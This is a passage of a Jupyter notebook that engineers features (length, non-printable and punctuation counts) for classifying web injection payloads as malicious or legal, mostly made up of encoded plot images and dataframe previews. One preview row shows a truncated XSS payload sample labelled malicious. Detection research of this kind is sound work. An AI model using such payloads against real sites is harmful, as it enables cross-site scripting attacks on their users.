pYXqqrlJJcmeXF3/3CS65L85hSTBjYWZ8qAjeC/\nJ3l/VW1J8nNJfifJe5O8rKp+JsnpSY5b42s9N8nfS/JHVZUkR2T2vEKAR8WZMuCw1933J/lckpcn\n+dnMouyLSX4kyVczu4y5aZ/D9uyz78j5X49IckN3P7O7n5nkOUl+errZAxuFKAM2io9n9jmybybZ\nneQZSS7p7v+R5EWZxdaiO5Jsrarlqjo6yUvm+/93kjOq6hnz7YuT/PupJw8c/kQZsCF0941JTkjy\n2939zSQfTvJnVfUnSZ6c5NiqeuLCz9+ZWWx9JckfJPnyfP/fJNmW5KqquiXJszKLPYBHZdOePXvW\new4AABueM2UAAAMQZQAAAxBlAAADEGUAAAMQZQAAAxBlAAADEGUAAAMQZQAAA/j/TgBOs7bPsK0A\nAAAASUVORK5CYII=\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7105962c88>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_length(payloads):\n",
    "    '''\n",
    "        Feature describing the lengh of the input\n",
    "    '''\n",
    "    \n",
    "    \n",
    "    payloads['length'] = [len(str(row)) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "\n",
    "payloads = create_feature_length(payloads)\n",
    "display(payloads.head())\n",
    "\n",
    "\n",
    "plot_feature_distribution(payloads['length'])\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  \n",
       "index                                        \n",
       "0                XSS      60              0  \n",
       "1              LEGAL      11              0  \n",
       "2              LEGAL       6              0  \n",
       "3              LEGAL       9              0  \n",
       "4              LEGAL      16              0  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: non-printable\n",
      "count    110357.000000\n",
      "mean          0.007412\n",
      "std           0.216736\n",
      "min           0.000000\n",
      "25%           0.000000\n",
      "50%           0.000000\n",
      "75%           0.000000\n",
      "max          30.000000\n",
      "Name: non-printable, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAl8AAAFyCAYAAADLZb9oAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAFSBJREFUeJzt3X+w5Xdd3/HXbm4grNnQzXhLZcZCHeFd2ynhR4AEEFEM\nWiQ1UtGSSjUhUmxlaqXFaPlhGZmqJTAFRUgkxvJjxkSICtqgTkRJIhWonUaFtw1Sp2OL7sCSLAQC\nG7Z/nLPluOzevcme7+fcPft4zGRyz/ne+73v+5nvZJ75fs/5nl2HDx8OAABj7F71AAAApxPxBQAw\nkPgCABhIfAEADCS+AAAGEl8AAANtrHqA7dq//+CQe2Ls27cnBw7cPeJXnRas5/JZ0+WynstnTZfL\nei7fiDXd3Ny763jbnPk6ysbGGaseYa1Yz+WzpstlPZfPmi6X9Vy+Va+p+AIAGEh8AQAMJL4AAAYS\nXwAAA4kvAICBxBcAwEDiCwBgIPEFADCQ+AIAGEh8AQAMJL4AAAYSXwAAA4kvAICBNlY9wE5z8Yt/\n9aR+/torv2lJkwAA68iZLwCAgcQXAMBA4gsAYCDxBQAwkPgCABho0viqqidW1XuP8fzFVfWBqvr9\nqvr+KWcAANhJJouvqnpJkp9PctZRz5+Z5LVJnpHkG5K8oKoeMtUcAAA7yZRnvj6a5NnHeP7rktzR\n3Qe6+/NJbkny1AnnAADYMSa7yWp3v6OqHn6MTeckuXPh8cEkDz7R/vbt25ONjTOWNN10Njf3rnqE\nHceaLJ81XS7ruXzWdLms5/Ktck1XcYf7u5Is/sV7k3zqRD904MDdkw20TPv3H1z1CDvK5uZea7Jk\n1nS5rOfyWdPlsp7LN2JNt4q7VcTXh5M8oqrOTfLpzC45vnoFcwAADDcsvqrq0iRnd/fVVfXDSd6T\n2WvOru3uvxg1BwDAKk0aX939v5JcMP/67QvPvyvJu6b83QAAO5GbrAIADCS+AAAGEl8AAAOJLwCA\ngcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgC\nABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJ\nLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAw\nkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8A\nAAOJLwCAgcQXAMBAG1PtuKp2J3lDkvOS3JPkiu6+Y2H7P03y4iT3Jrm2u39uqlkAAHaKKc98XZLk\nrO6+MMmVSa46avurk3xzkicneXFV7ZtwFgCAHWHK+HpKkpuSpLvfn+T8o7b/jyQPTnJWkl1JDk84\nCwDAjjDZZcck5yS5c+HxvVW10d2H5o//KMmHknwmyTu7+1Nb7Wzfvj3Z2DhjmkmXaHNz76pH2HGs\nyfJZ0+WynstnTZfLei7fKtd0yvi6K8niX7b7SHhV1aOSfFuSv5Pk00neWlXP6e4bjrezAwfunnDU\n5dm//+CqR9hRNjf3WpMls6bLZT2Xz5oul/VcvhFrulXcTXnZ8dYkz0ySqrogye0L2+5M8tkkn+3u\ne5P8VRKv+QIA1t6UZ75uTHJRVd2W2Wu6LquqS5Oc3d1XV9WbktxSVZ9P8tEk1004CwDAjjBZfHX3\nF5O88KinP7Kw/Y1J3jjV7wcA2IncZBUAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQX\nAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhI\nfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJLwCA\ngcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgC\nABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADLQx1Y6raneSNyQ5\nL8k9Sa7o7jsWtj8+yWuS7Ery8STf092fm2oeAICdYMozX5ckOau7L0xyZZKrjmyoql1JrklyWXc/\nJclNSR424SwAADvClPF1JKrS3e9Pcv7Ctkcm+USSf11Vv5vk3O7uCWcBANgRJrvsmOScJHcuPL63\nqja6+1CSr0zypCQ/mOSOJO+uqg92983H29m+fXuysXHGhOMux+bm3lWPsONYk+WzpstlPZfPmi6X\n9Vy+Va7plPF1V5LFv2z3PLyS2VmvO7r7w0lSVTdldmbsuPF14MDdU825VPv3H1z1CDvK5uZea7Jk\n1nS5rOfyWdPlsp7LN2JNt4q7E8ZXVT0sszNU52b24vgkSXdffoIfvTXJxUmur6oLkty+sO3Pkpxd\nVV87fxH+1yd584lmAQA41W3nzNf1Sd43/+fwfdj3jUkuqqrbMou2y6rq0iRnd/fVVfX8JG+fv/j+\ntu7+9fs4OwDAKWc78XVmd/+b+7rj7v5ikhce9fRHFrbfnOQJ93W/AACnsu282/GWqrq4qh4w+TQA\nAGtuO2e+vjOz13ylqo48d7i7d/5bDwEAdpgTxld3P3TEIAAAp4PtvNtxT5JXJHn6/PtvTvKy7v7M\nxLMBAKyd7bzm62eSfEWSy5N8b5IHJHnjlEMBAKyr7bzm63Hdfd7C4x+sqj+ZaiAAgHW2nTNfu6vq\nbxx5MP/60BbfDwDAcWznzNdrknygqn4ts5ulXpzkP0w6FQDAmjrhma/u/oUk35HZRwJ9LMmzu/va\nqQcDAFhHx42vqnrW/N//LMljkxxMcmeSx8yfAwDgPtrqsuPjk7w7yTceY9vhJP95kokAANbYceOr\nu18x//Lt3f1bi9uq6tmTTgUAsKaOG19V9d1JHpjklVX18qN+5seSvHPi2QAA1s5Wlx3PSfKkJHvz\n1y89Hkry76YcCgBgXW112fGaJNdU1dOT3N7dfzX/qKGHdvcdwyYEAFgj27nJ6t9PctP8680k76qq\nF0w3EgDA+tpOfL0gydcnSXf/eZLHJXnRlEMBAKyr7cTXmUnuWXj8+cxuNQEAwH20nY8X+pUkN1fV\n9fPHz07ya9ONBACwvrbz8UI/kuR1SSrJ1yR5XXe/dOrBAADW0XYuOybJR5Ncn9lZsDur6vLpRgIA\nWF8nvOxYVb+Y2f2+zk3y4SSPTnJrEh+uDQBwH23nzNdTk/y9JDdk9s7HJyZ5wJRDAQCsq+3E1//p\n7i9kdtbrUd39x5nd9R4AgPtoO+92/Iuq+tEkv53kp6sqSc6edCoAgDW1nTNfz0/yse7+QGYfpv3c\nJD8w6VQAAGtqO2e+3tHdz0iS7n59ktdPOxIAwPrazpmvB1XVV08+CQDAaeC4Z76q6ru7+5eSPDTJ\nn1fVXyb5bJJdSQ5399cMmhEAYG1sddnx31fVOzK7v9fDM4+uEUMBAKyrreLrtsw+UHtXko8tPH8k\nws6YcC4AgLV03Pjq7suTXF5Vv9rd3z5wJgCAtbWdD9YWXgAAS7LdD9YGAGAJxBcAwEDiCwBgIPEF\nADCQ+AIAGEh8AQAMJL4AAAYSXwAAA4kvAICBxBcAwEDiCwBgIPEFADCQ+AIAGEh8AQAMJL4AAAYS\nXwAAA4kvAICBxBcAwEDiCwBgoI2pdlxVu5O8Icl5Se5JckV333GM77s6ySe7+8qpZgEA2CmmPPN1\nSZKzuvvCJFcmuerob6iqf57kH0w4AwDAjjJlfD0lyU1J0t3vT3L+4saqelKSJyZ504QzAADsKJNd\ndkxyTpI7Fx7fW1Ub3X2oqr4qySuSfEeS79rOzvbt25ONjTMmGHO5Njf3rnqEHceaLJ81XS7ruXzW\ndLms5/Ktck2njK+7kiz+Zbu7+9D86+ck+cokv5HkbyXZU1Uf6e7rjrezAwfunmrOpdq//+CqR9hR\nNjf3WpMls6bLZT2Xz5oul/VcvhFrulXcTRlftya5OMn1VXVBktuPbOju1yV5XZJU1fcl+btbhRcA\nwLqYMr5uTHJRVd2WZFeSy6rq0iRnd/fVE/5eAIAda7L46u4vJnnhUU9/5Bjfd91UMwAA7DRusgoA\nMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJf\nAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg\n8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAA\nBhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOIL\nAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADbUy146raneQNSc5Lck+SK7r7joXtz03yQ0kOJbk9\nyb/o7i9ONQ8AwE4w5ZmvS5Kc1d0XJrkyyVVHNlTVg5L8RJJv7O4nJ3lwkmdNOAsAwI4wZXw9JclN\nSdLd709y/sK2e5I8qbvvnj/eSPK5CWcBANgRJrvsmOScJHcuPL63qja6+9D88uJfJklVvSjJ2Ul+\na6ud7du3JxsbZ0w27LJsbu5d9Qg7jjVZPmu6XNZz+azpclnP5Vvlmk4ZX3clWfzLdnf3oSMP5q8J\n++kkj0zyj7v78FY7O3Dg7q027xj79x9c9Qg7yubmXmuyZNZ0uazn8lnT5bKeyzdiTbeKuykvO96a\n5JlJUlUXZPai+kVvSnJWkksWLj8CAKy1Kc983Zjkoqq6LcmuJJdV1aWZXWL8YJLnJ3lfkpurKkn+\nU3ffOOE8AAArN1l8zV/X9cKjnv7IwtfuMQYAnHYEEADAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAA\nBhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOIL\nAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwk\nvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDA\nQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYaGOq\nHVfV7iRvSHJeknuSXNHddyxsvzjJy5McSnJtd18z1SwAADvFlGe+LklyVndfmOTKJFcd2VBVZyZ5\nbZJnJPmGJC+oqodMOAsAwI4w2ZmvJE9JclOSdPf7q+r8hW1fl+SO7j6QJFV1S5KnJrlhwnmGuPwn\nbz6pn7/2ym9a0iQAwE40ZXydk+TOhcf3VtVGdx86xraDSR681c42N/fuWv6IX+5dV337iF9zWtnc\n3LvqEdaONV0u67l81nS5rOfyrXJNp7zseFeSxb9s9zy8jrVtb5JPTTgLAMCOMGV83ZrkmUlSVRck\nuX1h24eTPKKqzq2qB2R2yfH3J5wFAGBH2HX48OFJdrzwbsdHJdmV5LIkj01ydndfvfBux92Zvdvx\nZycZBABgB5ksvgAA+HJusgoAMJD4AgAYaMpbTZwyTnQ3fu6fqvpvmb2zNUk+1t2XrXKeU1VVPTHJ\nT3X306rqa5Ncl+Rwkj9K8i+7+4urnO9UdNSaPibJu5P8z/nmn+vuX1rddKeO+Q2zr03y8CQPTPIT\nSf4kjtH77Thr+r/jGL3fquqMJNckqcyOyxcm+VxWeJyKr5n/fzf++Tszr0rihl8noarOSrKru5+2\n6llOZVX1kiTPS/KZ+VOvSfLS7n5vVb0xs+P0xlXNdyo6xpo+Lslruvuq4/8Ux/E9ST7R3c+rqnOT\n/Pf5P47R++9Ya/rKOEZPxsVJ0t1PrqqnJXlVZm8EXNlx6rLjzF+7G3+S87f+drbhvCR7quo3q+rm\nedRy3300ybMXHj8uye/Ov/4vSb55+ESnvmOt6bdV1e9V1Zuryt0st++GJC+bf70rs8/qdYyenOOt\nqWP0furuX0nygvnDh2V2X9GVHqfia+aYd+Nf1TBr4u4kr07yLZmd4n2bNb3vuvsdSb6w8NSu7j7y\nFuUTfjIEX+4Ya/oHSf5tdz81yZ8lecVKBjsFdfenu/vgPAZ+OclL4xg9KcdZU8foSeruQ1X1i0le\nn+RtWfFxKr5mtrobP/fPnyZ5a3cf7u4/TfKJJF+14pnWweJrEnwyxHLc2N0fOvJ1ksescphTTVV9\ndZLfSfKW7n57HKMn7Rhr6hhdgu7+3iSPzOz1Xw9a2DT8OBVfM1vdjZ/75/LMXjuXqnpoZmcX/+9K\nJ1oPfzh/zUKS/MMk71vhLOviPVX1hPnXT0/yoa2+mS+pqock+c0kP9Ld186fdoyehOOsqWP0JFTV\n86rqR+cP787sfxA+uMrj1GWgmRuTXFRVt+VLd+Pn5Lw5yXVVdUtm7ya53NnEpXhxkmvmH8v14cwu\nS3ByfiDJ66vqC0k+ni+9NoQT+7Ek+5K8rKqOvE7pXyV5nWP0fjvWmv5wktc6Ru+3dyb5har6vSRn\nJvmhzI7Nlf231B3uAQAGctkRAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfwGmpqq6rqu9b9RzA6Ud8\nAQAM5CarwNqoqncmeXt3//L88QczuzHtq5LsyezmlS/p7hsWfubhSd7b3Q+fP/7xJOnuH6+qb03y\nysxuzPixJN/f3Z8Y9fcA68mZL2CdvCXJP0mSqnpEZp/f9qIkV3T3Y5M8P8nLt7OjqtpM8pNJvqW7\nH5PkPUl+aoqhgdOLM1/AOvn1zD4qaG+S5yZ5W5LXJHlWVT0nyQVJzt7mvp6Y5G8n+Z2qSpIzknxy\n6RMDpx1nvoC10d2fT/LuJP8oyXdlFl/vS/KEzD6M+FWZfX7rosNHPXfm/N9nJLmlux/d3Y9O8vgk\n3znd9MDpQnwB6+Ytmb3O65NJDiZ5ZJKXd/dvJHlGZlG16FNJ9lXVZlU9MMm3zp//r0kurKpHzh+/\nLMl/nHp4YP2JL2CtdPetSR6c5K3d/ckkP5/kj6vqD5P8zSR7quorFr7/zsyi6gNJfjvJH8yf/3iS\ny5NcX1W3J3lsZlEHcFJ2HT58eNUzAACcNpz5AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOIL\nAGAg8QUAMND/AwBilqOO7shkAAAAAElFTkSuQmCC\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7104bbebe0>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_non_printable_characters(payloads):  \n",
    "    '''\n",
    "    Feature\n",
    "    Number of non printable characthers within payload\n",
    "    '''\n",
    "    \n",
    "    payloads['non-printable'] = [ len([1 for letter in str(row) if letter not in string.printable]) for row in payloads['payload']]\n",
    "    return payloads\n",
    "    \n",
    "\n",
    "create_feature_non_printable_characters(payloads)\n",
    "display(payloads.head())\n",
    "    \n",
    "plot_feature_distribution(payloads['non-printable'])\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "      <th>punctuation</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "      <td>16</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  punctuation  \n",
       "index                                                     \n",
       "0                XSS      60              0           16  \n",
       "1              LEGAL      11              0            2  \n",
       "2              LEGAL       6              0            0  \n",
       "3              LEGAL       9              0            0  \n",
       "4              LEGAL      16              0            0  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: punctuation\n",
      "count    110357.000000\n",
      "mean          2.363729\n",
      "std           9.771260\n",
      "min           0.000000\n",
      "25%           0.000000\n",
      "50%           0.000000\n",
      "75%           1.000000\n",
      "max         538.000000\n",
      "Name: punctuation, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAl8AAAFyCAYAAADLZb9oAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAFzxJREFUeJzt3X+w5Xdd3/HX7l7Isu4Gl3KRMmNhrPKu7dTwI0ACgeKP\nCM2QJuCvklI0IUJqodWxowEBrYMj2oZWkAwkFqL8GMuvIAaMYIP82DQVqJ0GJG9nlfGPOtAtLJst\nkcAm2z/O2eZk2b17gf1+zs29j8dMJvec793v98N7Ajzz/X7P92w7evRoAAAYY/uyFwAAsJWILwCA\ngcQXAMBA4gsAYCDxBQAwkPgCABhoZdkLWK8DBw4PeSbG3r27cvDgHSMOxQJzXw5zXw5zXx6zX46t\nOPfV1T3bTrbNma/jrKzsWPYStiRzXw5zXw5zXx6zXw5zvzfxBQAwkPgCABhIfAEADCS+AAAGEl8A\nAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJr+Nc+LO/t+wlAACbmPgC\nABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYCDxBQAwkPgCABhIfAEADCS+AAAGEl8AAAOJ\nLwCAgcQXAMBA4gsAYCDxBQAw0MpUO66q7UmuTnJWkjuTXN7d++fbHprkdxd+/VFJruzu1021HgCA\njWCy+EpycZKd3X1uVZ2T5KokFyVJd382yVOTpKrOTfIrSa6dcC0AABvClPF1XpIbk6S7b6mqs4//\nharaluQ1Sf5Zd9+11s727t2VlZUdkyz0eKure4Ych3sz9+Uw9+Uw9+Ux++Uw93tMGV9nJjm08Pqu\nqlrp7iML712Y5FPd3afa2cGDd5zu9Z3UgQOHhx2LmdXVPea+BOa+HOa+PGa/HFtx7mvF5pQ33N+e\nZPHI248LryR5TpJrJlwDAMCGMmV87UtyQZLM7/m69QS/c3aSmydcAwDAhjLlZcfrk5xfVTcn2Zbk\n0qq6JMnu7r6mqlaT3N7dRydcAwDAhjJZfHX33UmuOO7t2xa2H8jsERMAAFuGh6wCAAwkvgAABhJf\nAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg\n8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAA\nBhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAy0MtWOq2p7kquTnJXkziSXd/f+he2P\nS/KqJNuSfDbJc7r7y1OtBwBgI5jyzNfFSXZ297lJrkxy1bENVbUtybVJLu3u85LcmOThE64FAGBD\nmDK+jkVVuvuWJGcvbHtkks8n+Zmq+lCSB3V3T7gWAIANYbLLjknOTHJo4fVdVbXS3UeSPDjJE5O8\nMMn+JDdU1ce7+6aT7Wzv3l1ZWdkx4XLvsbq6Z8hxuDdzXw5zXw5zXx6zXw5zv8eU8XV7ksVJb5+H\nVzI767W/uz+dJFV1Y2Znxk4aXwcP3jHVOr/GgQOHhx2LmdXVPea+BOa+HOa+PGa/HFtx7mvF5pSX\nHfcluSBJquqcJLcubPvLJLur6jvnr5+c5FMTrgUAYEOY8szX9UnOr6qbM/tE46VVdUmS3d19TVU9\nL8lb5zff39zd751wLQAAG8Jk8dXddye54ri3b1vYflOSx091fACAjchDVgEABhJfAAADiS8AgIHE\nFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAY\nSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8A\ngIHEFwDAQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADrUy146ranuTqJGcluTPJ5d29f2H7\nzyS5PMmB+Vsv6O6eaj0AABvBZPGV5OIkO7v73Ko6J8lVSS5a2P7YJM/t7k9MuAYAgA1lysuO5yW5\nMUm6+5YkZx+3/bFJXlxVH62qF0+4DgCADWPKM19nJjm08Pquqlrp7iPz17+b5LVJbk9yfVU9o7tv\nONnO9u7dlZWVHdOtdsHq6p4hx+HezH05zH05zH15zH45zP0eU8bX7UkWJ739WHhV1bYk/7G7D81f\nvzfJo5OcNL4OHrxjwqXe24EDh4cdi5nV1T3mvgTmvhzmvjxmvxxbce5rxeaUlx33JbkgSeb3fN26\nsO3MJJ+sqt3zEPu+JO79AgA2vSnPfF2f5PyqujnJtiSXVtUlSXZ39zVV9ZIkH8zsk5D/pbvfN+Fa\nAAA2hMniq7vvTnLFcW/ftrD9TUneNNXxAQA2Ig9ZBQAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDA\nQOILAGAg8QUAMJD4AgAYSHwBAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMJD4AgAYSHwB\nAAwkvgAABhJfAAADiS8AgIHEFwDAQOILAGAg8QUAMNDKqX6hqh6e5IVJHpRk27H3u/uyCdcFALAp\nnTK+krwtyUfmfx2ddjkAAJvbeuLrft39byZfCQDAFrCee74+WlUXVtX9J18NAMAmt54zXz+c2T1f\nqapj7x3t7h1TLQoAYLM6ZXx198NGLAQAYCtYz6cddyX5xSTfP//9m5K8rLu/NPHaAAA2nfXc8/Wb\nSb4lyWVJfjzJ/ZO8bspFAQBsVuu55+ux3X3WwusXVtWfTbUgAIDNbD3xtb2qvrW7v5gkVfWtSY6c\n6g9V1fYkVyc5K8mdSS7v7v0n+L1rknyhu6/8ulYOAHAftJ74elWSj1XVezJ7wv2FSX51HX/u4iQ7\nu/vcqjonyVVJLlr8hap6QZJ/mORDX9eqAQDuo055z1d3vzHJM5P8ZZLPJHlWd79hHfs+L8mN833c\nkuTsxY1V9cQkT0jy+q9zzQAA91knPfNVVc/o7huq6rnztw7P//7oqnp0d//OKfZ9ZpJDC6/vqqqV\n7j5SVX87s09QPjPJj65noXv37srKyphHi62u7hlyHO7N3JfD3JfD3JfH7JfD3O+x1mXHxyW5Icn3\nnmDb0SSniq/bkyxOent3H7tX7EeSPDjJ+5I8NMmuqrqtu6872c4OHrzjFIc7fQ4cOHzqX+K0Wl3d\nY+5LYO7LYe7LY/bLsRXnvlZsnjS+uvsX5z++tbs/sLitqp61juPuy+z+sLfN7/m6dWHfr07y6vm+\nfiLJ31srvAAANou1Ljv+WJIzkvxyVb38uD/zkiTvOsW+r09yflXdnNmN+pdW1SVJdnf3Nd/csgEA\n7pvWuux4ZpInZnbpcPHS45Ekv3CqHXf33UmuOO7t207we9edcpUAAJvEWpcdr01ybVV9f5Jbu/t/\nz79q6GEnel4XAACntp6vF/oHmT8yIslqkt+vqudPtyQAgM1rPfH1/CRPTpLu/qskj03yoikXBQCw\nWa0nvu6X2dcDHfOVzB41AQDA12k9Xy/07iQ3VdXb5q+fleQ90y0JAGDzWs/XC/18Zs/kqiTfkeTV\n3f3SqRcGALAZreeyY5L8RZK3ZXYW7FBVXTbdkgAANq9TXnasqt/O7HlfD0ry6SSPyuzp9ev5cm0A\nABas58zXU5L8/SRvz+yTj09Icv8pFwUAsFmtJ77+uru/mtlZr+/p7k/l3l+YDQDAOq3n047/q6pe\nnOSPkvx6VSXJ7klXBQCwSa3nzNfzknymuz+W2ZdpPzvJv5h0VQAAm9R6zny9s7t/MEm6+zVJXjPt\nkgAANq/1nPl6QFV9++QrAQDYAk565quqfqy7/3OShyX5q6r6